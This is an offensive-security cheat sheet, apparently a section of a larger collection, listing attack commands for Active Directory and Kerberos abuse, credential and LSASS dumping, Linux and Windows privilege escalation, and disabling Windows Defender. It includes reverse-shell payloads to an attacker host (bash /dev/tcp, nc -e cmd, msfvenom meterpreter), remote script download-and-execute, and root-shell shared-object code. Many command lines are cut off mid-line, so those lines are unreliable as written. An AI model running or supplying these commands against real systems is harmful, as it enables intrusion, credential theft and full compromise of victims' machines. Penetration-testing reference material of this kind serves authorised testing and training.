ASPREPRoast is about retrieving crackable hashes from `KRB5 AS-REP` responses for users without `kerberoast preauthentication` enabled. This isn't as useful as Kerberoasting, as accounts have to have `DONT_REQ_PREAUTH` explicitly set for them to be vulnerable and you are still reliant upon weak password complexity for the attack to work.

- `AS-REP roasting` is a technique that allows retrieving password hashes for users that have `Do not require Kerberos preauthentication` property selected.
- Those hashes can then be cracked offline.

Silver, Golden and Diamond Tickets

- Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
- Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
- Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

Ticket Conversion

kribi to ccache

```
$ base64 -d <USERNAME>.kirbi.b64 > <USERNAME>.kirbi
$ impacket-ticketConverter <USERNAME>.kirbi <USERNAME>.ccache
$ export KRB5CCNAME=`realpath <USERNAME>.ccache`
```

ccache to kirbi

```
$ impacket-ticketConverter <USERNAME>.ccache <USERNAME>.kirbi
$ base64 -w0 <USERNAME>.kirbi > <USERNAME>.kirbi.base64
```

Attacking Kerberos

> https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

Bruteforce

```
$ ./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfil
```

With List of Users

```
C:\> .\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN>
```

Check Passwords for all Users in Domain

```
C:\> .\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>
```

ASPREPRoast

Check ASPREPRoast for all Domain Users (Credentials required)

```
$ impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format ha
$ impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format jo
```

Check ASPREPRoast for a List of Users (No Credentials required)

```
$ impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outpu
$ impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfi
```

Check ASPREPRoast for all Domain Users in Domain

```
C:\> .\Rubeus.exe asreproast  /format:hashcat /outfile:<FILE>
```

Kerberoasting

```
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
C:\> .\Rubeus.exe kerberoast /outfile:<FILE>
PS C:\> iex (new-object Net.WebClient).DownloadString("https://raw.githu
PS C:\> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-Fi
PS C:\> Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File
```

Overpass The Hash/Pass The Key (PTK)

Request TGT with Hash

```
$ impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>
```

Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)

```
$ impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>
```

Request TGT with Password

```
$ impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
```

Set TGT for Impacket Usage

```
$ export KRB5CCNAME=<USERNAME>.ccache
```

Execute Remote Commands

```
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

Ask and inject the Ticket

```
C:\> .\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHAS
```

Execute a CMD on Remote Host

```
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

Pass The Ticket (PTT)

Harvest Tickets from Linux

Check Type and Location of Tickets

```
$ grep default_ccache_name /etc/krb5.conf
```

- If none return, default is FILE:/tmp/krb5cc_%{uid}
- In Case of File Tickets it is possible to Copy-Paste them to use them
- In Case of being KEYRING Tickets, the Tool tickey can be used to get them
- To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
- To inject, the Ticket have to be copied in a reachable Folder by all Users

```
$ cp tickey /tmp/tickey
$ /tmp/tickey -i
```

Harvest Tickets from Windows

```
mimikatz # sekurlsa::tickets /export
$ .\Rubeus dump
```

Convert Tickets dumped with Rubeus into base64

```
[IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("
```

Convert Tickets between Linux and Windows Format with ticket_converter.py

> https://github.com/Zer1t0/ticket_converter

```
$ python ticket_converter.py ticket.kirbi ticket.ccache
$ python ticket_converter.py ticket.ccache ticket.kirbi
```

Using Ticket on Linux

```
$ export KRB5CCNAME=<USERNAME>.ccache
```

Execute Remote Commands by using TGT

```
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

Using Ticket on Windows

Inject Ticket with mimikatz

```
mimikatz # kerberos::ptt <KIRBI_FILE>
```

Inject Ticket with Rubeus

```
C:\> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

Execute a CMD on Remote Host

```
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

Silver Ticket

Impacket Examples

Generate TGS with NTLM

```
$ python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAI
```

Generate TGS with aesKey

```
$ python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -s
```

Set the ticket for impacket use

```
$ export KRB5CCNAME=<USERNAME>.ccache
```

Execute Remote Commands by using TGT

```
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

mimikatz Examples

Generate TGS with NTLM

```
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /
```

Generate TGS with AES 128bit Key

```
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /us
```

Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

```
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /us
```

Inject TGS with Mimikatz

```
mimikatz # kerberos::ptt <KIRBI_FILE>
```

##3## Rubeus Examples

```
C:\> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

Execute CMD on Remote Host

```
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

Golden Ticket

Impacket Examples

Generate TGT with NTLM

```
$ python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domai
```

Generate TGT with aesKey

```
$ python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN>  <
```

Set TGT for Impacket Usage

```
$ export KRB5CCNAME=<USERNAME>.ccache
```

Execute Remote Commands by using TGT

```
$ impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
$ impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
```

mimikatz Examples

Generate TGT with NTLM

```
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM
```

Generate TGT with AES 128bit Key

```
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /us
```

Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

```
mimikatz # kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /us
```

Inject TGT with Mimikatz

```
mimikatz # kerberos::ptt <KIRBI_FILE>
```

Rubeus Examples

Inject Ticket with Rubeus

```
C:\> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
```

Execute CMD on Remote Host

```
C:\> .\PsExec.exe -accepteula \\<RHOST> cmd
```

Get NTLM from Password

```
$ python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new
```

Kiosk Breakout

Using Microsoft Edge

> https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/

```
<script>
    function shlExec() {
        var cmd = document.getElementById('cmd').value
        var shell = new ActiveXObject("WScript.Shell");
        try {
            var execOut = shell.Exec("cmd.exe /C \"" + cmd + "\"");
        } catch (e) {
            console.log(e);
        }

        var cmdStdOut = execOut.StdOut;
        var out = cmdStdOut.ReadAll();
        alert(out);
    }
</script>

<form onsubmit="shlExec()">
    Command: <input id="cmd" name="cmd" type="text">
    <input type="submit">
</form>
```

Copy a `cmd.exe` binary to the download directory of the default user `KioskUser0`.

```
copy C:\Windows\System32\cmd.exe C:\Users\KioskUser0\Downloads\msedge.ex
```

Krbrelayx

> https://github.com/dirkjanm/krbrelayx

Abuse DNS Delegation Zones with dnstool.py

```
$ python3 dnstool.py -u 'domain\<USERNAME>' -p '<PASSWORD>' -a add -r '<
```

LAPS

```
PS C:\Users\<USERNAME>\Documents> $Computers = Get-ADComputer -Filter *
PS C:\Users\<USERNAME>\Documents> $Computers | Sort-Object ms-Mcs-AdmPwd
```

LDAP

> https://github.com/infosecn1nja/AD-Attack-Defense

> https://www.poweradmin.com/blog/restoring-deleted-objects-from-active-directory-using-ad-recycle-bin/

> https://adsecurity.org/?p=2288

Queries

```
$ (New-Object adsisearcher((New-Object adsi("LDAP://dc.<DOMAIN>","<DOMAI
$ (New-Object adsisearcher((New-Object adsi("LDAP://dc.<DOMAIN>","<DOMAI
```

ldapmodify

```
$ ldapmodify -x -H ldap://<RHOST> -d 1 -D CN=<USERNAME>,CN=<GROUP>,DC=<D
dn: CN=<USERNAME>,OU=<GROUP>,DC=<DOMAIN>,DC=local
changetype: modify
replace: unicodePwd
unicodePwd::UABhACQAJAB3ADAAcgBkAA==
EOF
```

ldapsearch

```
$ ldapsearch -x -h <RHOST> -s base namingcontexts
$ ldapsearch -H ldap://<RHOST> -x -s base -b '' "(objectClass=*)" "*" +
$ ldapsearch -H ldaps://<RHOST>:636/ -x -s base -b '' "(objectClass=*)"
$ ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local"
$ ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local" |
$ ldapsearch -x -h <RHOST> -b "dc=<RHOST>,dc=local" "*" | awk '/dn: / {p
$ ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<DOMAIN>,dc=local" "(m
$ ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=User
```

Handle Kerberos Authentication

```
$ LDAPTLS_REQCERT=never ldapsearch -x -W -D "<USERNAME>@<DOMAIN>" -b "dc
```

LD_PRELOAD

> https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

shell.c

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}
```

or

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```

Compiling

```
$ gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles
```

Privilege Escalation

```
$ sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>
```

LD_LIBRARY_PATH

Get Information about Libraries

```
$ ldd /PATH/TO/BINARY/<BINARY>
```

shell.c

```
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}
```

Compiling

```
$ gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.c
```

Privilege Escalation

```
$ sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>
```

Libre Office

Enable Macros via Registry

> https://admx.help/?Category=LibreOffice-from-Collabora&Policy=Collabora.Policies.LibreOffice::MacroSecurityLevel

```
C:\> Set-ItemProperty -Path "HKLM:\Software\Policies\LibreOffice\org.ope
```

Linux

Enumerate Group Memberships

```
$ id
$ id <USERNAME>
```

Enumerate sudo Permissions

```
$ sudo -l
```

Enumerate Services

```
$ systemctl list-units --type=service
```

capsh

```
$ capsh --print
```

adduser.sh

```
#!/bin/bash
echo '<USERNAME>:BP9vDdYHNP.Mk:0:0:root:/root:/bin/bash' >> /etc/passwd
```

Linux Wildcards

> https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

With the command `touch -- --checkpoint=1` will be a file created. Why? Because the `--` behind the command `touch` is telling touch, that there's option to be wait for. Instead of an option, it creates a file, named `--checkpoint=1`.

```
$ touch -- --checkpoint=1
```

or

```
$ touch ./--checkpoint=1
```

So after creating the `--checkpoint=1` file, i created another file, which executes a shell script.

```
$ touch -- '--checkpoint-action=exec=sh shell.sh'
```

or

```
$ touch ./--checkpoint-action=exec=<FILE>
```

To delete a misconfigured file, put a `./` in front of it.

```
$ rm ./'--checkpoint-action=exec=python script.sh'
```

logrotten

> https://github.com/whotwagner/logrotten

Skeleton Payload

```
if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
```

Syntax

If "create"-option is set in logrotate.cfg

```
$ ./logrotten -p ./payloadfile /tmp/log/pwnme.log
```

If "compress"-option is set in logrotate.cfg

```
$ ./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```

Lsass

Dump

```
C:\> tasklist
C:\> rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users
```

Lua

Code Execution

```
file = io.open("/root/.ssh/authorized_keys", "w")
file:write("ssh-rsa AAAAB3N--- snip ---YM5syQ==")
file:close()
```

machinectl

```
$ machinectl shell --uid=root
```

Microsoft Windows

Common Commands

```
C:\> tree /f C:\Users\
C:\> tasklist /SVC
C:\> sc query
C:\> sc qc <SERVICE>
C:\> netsh firewall show state
C:\> schtasks /query /fo LIST /v
C:\> findstr /si password *.xml *.ini *.txt
C:\> dir /s *pass* == *cred* == *vnc* == *.config*
C:\> accesschk.exe -uws "Everyone" "C:\Program Files"
C:\> wmic qfe get Caption,Description,HotFixID,InstalledOn
C:\> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Displ
```

User Enumeration

```
C:\> net user
C:\> net user /domain
C:\> dir C:\Users
C:\> cmd.exe /c echo %username%
PS C:\> echo $env:username
```

Adding Users to Groups

```
C:\> net user <USERNAME> <PASSWORD> /add /domain
C:\> net group "Exchange Windows Permissions" /add <USERNAME>
C:\> net localgroup "Remote Management Users" /add <USERNAME>
```

Show Hidden Files and Folders

```
C:\> dir /a      // show hidden folders
C:\> dir /a:d    // show all hidden directories
C:\> dir /a:h    // show all hidden files
PS C:\> cmd /c dir /A      // show hidden folders
PS C:\> cmd /c dir /A:D    // show all hidden directories
PS C:\> cmd /c dir /A:H    // show all hidden files
PS C:\> powershell ls -force    // show all hidden files
```

Show Named Pipes

```
PS C:\> [System.IO.Directory]::GetFiles("\\.\\pipe\\")
```

Enable WinRM

```
C:\> winrm quickconfig
```

Enable Remote Desktop (RDP)

```
C:\> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
C:\> netsh advfirewall firewall set rule group="remote desktop" new enab
```

or

```
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Termina
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Termina
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop";
```

Firewall Handling

Common Commands

```
PS C:\> get-netfirewallrule -all
PS C:\> get-netfirewallrule -policystore configurableservicestore -all
PS C:\> New-NetFirewallRule -DisplayName '<NAME>' -Profile 'Private' -Di
PS C:\> New-NetFirewallRule -DisplayName '<NAME>' -Profile 'Private' -Di
PS C:\> Enable-NetFirewallRule -DisplayName "<NAME>"
PS C:\> Disable-NetFirewallRule -DisplayName "<NAME>"
```

Allow all outgoing Traffic

```
PS C:\> New-NetFirewallRule -DisplayName "Allow all outbound traffic" -D
PS C:\> Enable-NetFirewallRule -DisplayName "Allow all outbound traffic"
```

Port Forwarding

Check Port Forwardings

```
C:\> netsh interface portproxy show all
```

Set Port Forwarding

```
C:\> netsh interface portproxy add v4tov4 listenport=<RPORT> listenaddre
```

Create Port Forwarding Firewall Rule

```
C:\> advfirewall firewall add rule name="<NAME>" protocol=TCP dir=in loc
```

Delete specific Forwarding

```
C:\> netsh interface portproxy delete v4tov4 listenport=80 listenaddress
```

Remove all existing Forwardings

```
C:\> netsh interface portproxy reset
```

Hashes

> https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4

> https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

- LM Hashes are deprecated and so there are replaced by an empty string (aad3b435b51404eeaad3b435b51404ee).
- If a `Hash` starts with `31d6`, chances are pretty good, that there is no `Password` set for the user.

LM

- `Oldest` password storage used by `Microsoft Windows`
- If available, they can be obtained from `SAM` databases on a `Microsoft Windows` system or from the `NTDS` database of a `Domain Controller`
- When dumping `SAM/NTDS` databases, they are shown together within the `NTHash` before the colon
- Can be used for `Pass-The-Hash`

Example

```
299BD128C1101FD6
```

Algorithm

1. Convert all `lower case` to `upper case`
2. Pad password to `14` characters with NULL characters
3. Split the password to two `7` character chunks
4. Create two `DES` keys from each `7` character chunk
5. DES `encrypt` the string "KGS!@#$%" with these two `chunks`
6. `Concatenate` the two DES encrypted strings. This is the LM hash.

Cracking

```
$ john --format=lm <FILE>
$ hashcat -m 3000 -a 3 <FILE>
```

NTHash (NTLM)

- The way how passwords are stored on `modern` `Microsoft Windows` systems
- Can be optained by dumping the `SAM` database or using `mimikatz`
- They are also stored in the `NTDS` file on `Domain Cotnrollers`
- Can be used for `Pass-The-Hash`

Example

```
B4B9B02E6F09A9BD760F388B67351E2B
```

Algorithm

```
MD4(UTF-16-LE(password))
```

Cracking

```
$ john --format=nt <FILE>
$ hashcat -m 1000 -a 3 <FILE>
```

Net-NTLMv1 (NTLMv1)

- `NTLM` protocol uses the `NTHash` in `Challenge-Response` between a `server` and a `client`
- The `v1` of the protocol uses both, the `NT` hash and the `LM` hash, depending on configuration and what is available.
- Can be obtained by using `Responder`
- Values for cracking are `K1`, `K2` or `K3` from the algorithm
- Version 1 is `deprecated` but still used in some old systems on the network
- Can be used for `Relaying`

Example

```
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8
```

Algorithm

```
C = 8-byte server challenge, random
K1 | K2 | K3 = LM/NT-hash | 5-bytes-0
response = DES(K1,C) | DES(K2,C) | DES(K3,C)
```

Cracking

```
$ john --format=netntlm <FILE>
$ hashcat -m 5500 -a 3 <FILE>
```

Net-NTLMv2 (NTLMv2)

- New and improved version of the `NTLM` protocol
- Harder to crack
- Same concept as `NTLMv1`, only with a different algorithm and response sent to the server
- Can also be captured by using `Responder`
- Default in Microsoft Windows since `Microsoft Windows 2000`
- Can be used for `Relaying`

Example

```
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c78
```

Algorithm

```
SC = 8-byte server challenge, random
CC = 8-byte client challenge, random
CC* = (X, time, CC2, domain name)
v2-Hash = HMAC-MD5(NT-Hash, user name, domain name)
LMv2 = HMAC-MD5(v2-Hash, SC, CC)
NTv2 = HMAC-MD5(v2-Hash, SC, CC*)
response = LMv2 | CC | NTv2 | CC*
```

Cracking

```
$ john --format=netntlmv2 <FILE>
$ hashcat -m 5600 -a 3 <FILE>
```

Privileges and Permissions

AlwaysInstallElevated

```
C:\> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Ins
C:\> reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\In
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

```
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT
```

```
C:\> msiexec /quiet /qn /i <FILE>.msi
```

SeBackup and SeRestore Privilege

Backup SAM and SYSTEM Hashes

```
C:\> reg save hklm\system C:\Users\<USERNAME>\system.hive
C:\> reg save hklm\sam C:\Users\<USERNAME>\sam.hive
```

Dumping Hashes

```
$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

Pass the Hash

```
$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7e
```

SeBackupPrivilege Privilege Escalation (diskshadow)

> https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

Script for PowerShell Environment

```
SET CONTEXT PERSISTENT NOWRITERSp
add volume c: alias foobarp
createp
expose %foobar% z:p
```

```
PS C:\> diskshadow /s <FILE>.txt
```

Copy ntds.dit

```
PS C:\> Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts
```

Export System Registry Value

```
PS C:\> reg save HKLM\SYSTEM c:\temp\system
```

Extract the Hashes

```
$ impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
```

Alternative Way via Robocopy

```
C:\> reg save hklm\sam C:\temp\sam
C:\> reg save hklm\system C:\temp\system
```

```
set metadata C:\Windows\temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```

```
C:\temp\> diskshadow /s script.txt
C:\temp\> robocopy /b E:\Windows\ntds . ntds.dit
```

```
$ impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
```

SeLoadDriverPrivilege

```
PS C:\> sc.exe query
PS C:\> $services=(get-service).name | foreach {(Get-ServiceAcl $_)  | w
```

```
PS C:\> sc.exe config VSS binpath="C:\temp\nc64.exe -e cmd <LHOST> <LPOR
PS C:\> sc.exe stop VSS
PS C:\> sc.exe start VSS
```

SeTakeOwnershipPrivilege

```
C:\> takeown /f C:\Windows\System32\Utilman.exe
```

```
C:\> icacls C:\Windows\System32\Utilman.exe /grant Everyone:F
```

```
C:\Windows\System32\> copy cmd.exe utilman.exe
```

Click the `Ease of Access` button on the logon screen to get a shell with `NT Authority\System` privileges.

SeImpersonate and SeAssignPrimaryToken Privilege

> https://github.com/antonioCoco/RogueWinRM

```
C:\> .\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT
```

Registry Handling

Enable Colored Output

```
C:\> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
```

Then open a new Terminal Window.

Check for Auto Run Programs

```
C:\> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

Get Registry Key Information

```
C:\> req query <REGISTRY_KEY>
```

Modify Registry Key

```
C:\> reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\
```

Search the Registry for Passwords

```
C:\> req query HKLM /f password /t REG_SZ /s
C:\> req query HKCU /f password /t REG_SZ /s
```

Searching for Credentials

Credential Notes

- LSA > Local Security Authority

- LSASS > Local Security Authority Server Service
- NTLM Hashes > Stored in SAM database (C:\Windows\system32\config\sam)
- LSASS > Caches NTLM Hashes

Unattended Windows Installations

Potential Files containing Passwords

```
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Search for Passwords

```
C:\> dir .s *pass* == *.config
C:\> findstr /si password *.xml *.ini *.txt
PS:\> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorActio
PS:\> Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -
PS:\> Get-ChildItem -Path C:\Users\<USERNAME>\ -Include *.txt,*.pdf,*.xl
```

PowerShell History

```
C:\> type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSR
```

Saved Windows Credentials

```
C:\> cmdkey /list
C:\> runas /savecred /user:<USERNAME> cmd.exe
```

Winlogon Credentials

```
C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlog
```

Local Administrator Password Solution (LAPS)

```
PS C:\> Get-ADComputer <RHOST> -property 'ms-mcs-admpwd'
```

Credentials File

> https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09

> https://www.nirsoft.net/utils/credentials_file_view.html

```
C:\ rundll32 keymgr.dll, KRShowKeyMgr
```

Windows Registry

```
C:\> reg query HKLM /f password /t REG_SZ /s
C:\> reg query HKCU /f password /t REG_SZ /s
```

KeePass Databases

```
PS C:\> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAct
```

IIS Configuration

```
C:\> type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.con
```

PuTTY

```
C:\> reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f
```

Service Handling

```
C:\> sc.exe create <SERVICE>
C:\> sc start <SERVICE>
C:\> sc qc <SERVICE>
```

Tasks & Services

Scheduled Tasks

```
C:\> schtasks
C:\> schtasks /query /tn <TASK> /fo list /v
C:\> schtasks /run /tn <TASK>
PS C:\> schtasks /query /v /fo LIST | findstr <USERNAME>
PS C:\> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} |
```

Unquoted Service Paths

Search for `Unquoted Service Paths` by using `sc qc`.

```
C:\> sc qc
C:\> sc qc WindowsScheduler
C:\> sc stop WindowsScheduler
C:\> sc start WindowsScheduler
```

```
C:\> icacls <PROGRAM>.exe
C:\> icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe
C:\> icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe /grant Everyone:F
```

Insecure Service Permissions

```
C:\> accesschk64.exe -qlc <SERVICE>
C:\> icacls C:\Users\<USERNAME>\<FILE>.exe /grant Everyone:F
C:\> sc config <SERVICE> binPath= "C:\Users\<USERNAME>\<FILE>.exe" obj=
C:\> sc stop <SERVICE>
C:\> sc start <SERVICE>
```

WMIC

```
C:\> wmic product get name,version,vendor
```

Microsoft Windows Defender

Check Whitelisted Paths

```
PS C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\P
```

Disable Windows Defender

```
PS C:\> sc config WinDefend start= disabled
```

```
PS C:\> sc stop WinDefend
```

Malicious Test String

```
PS C:\> $str = 'amsiinitfailed'
```

Minimalistic Offensive Security Tools

> https://github.com/InfosecMatter/Minimalistic-offensive-security-tools

port-scan-tcp.ps1

```
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://<RHOST>/por
```

nginx

ngx_http_dav_module Privilege Escalation

> https://nginx.org/en/docs/http/ngx_http_dav_module.html

```
$ cat << EOF> /tmp/<FILE>.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;events {
worker_connections 768;
}
http {
server {
listen 9001;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
```

```
$ sudo nginx -c /tmp/<FILE>.conf
```

```
$ curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat <SSH_KE
```

PassTheCert

> https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

> https://github.com/AlmondOffSec/PassTheCert/tree/main/Python

```
$ certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt
$ certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
$ python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action
$ evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'
```

Path Variable Hijacking

Finding accessible SUID Files

```
$ find / -perm -u=s -type f 2>/dev/null
```

Find writeable Paths

```
$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort
```

Add current Directory

```
$ export PATH=$(pwd):$PATH
```

Binary File

```
$ cd /tmp
$ vi <FILE>
$ chmod +x ./<FILE>
$ PATH=$(pwd):$PATH <SUID_FILE>
```

Perl

Environment Variable Arbitrary Code Execution

> https://www.elttam.com/blog/env/#content

```
$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' exit;
```

PetitPotam

> https://github.com/topotam/PetitPotam

```
$ python3 PetitPotam.py -u <USERNAME> -hashes :<HASH> -dc-ip <RHOST> <LH
```

PHP7.2

```
$ /usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
```

pika

Remote Code Execution (RCE)

```
#!/usr/bin/env python

import pika

credentials = pika.PlainCredentials('<USERNAME>', '<PASSWORD>')
parameters = pika.ConnectionParameters('<LHOST>',5672,'/',credentials)
connection = pika.BlockingConnection(parameters)
channel = connection.channel()
channel.basic_publish(exchange='', routing_key='plugin_data', body='http
connection.close()
```

Ping Sweep

On a Linux Operating System

```
$ for ip in {1..254}; do (ping -c 1 <XXX.XXX.XXX>.${ip} | grep "bytes fr
```

On a Windows Operating System

```
PS C:\> 1..255 | ForEach-Object { $ip = "<XXX.XXX.XXX>.$_"; if (Test-Con
```

With Meterpreter

```
meterpreter > (for /L %a IN (1,1,254) DO ping /n 1 /w 1 <XXX.XXX.XXX>.%a
```

PKINITtools

```
$ python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAI
$ export KRB5CCNAME=<USERNAME>.ccache
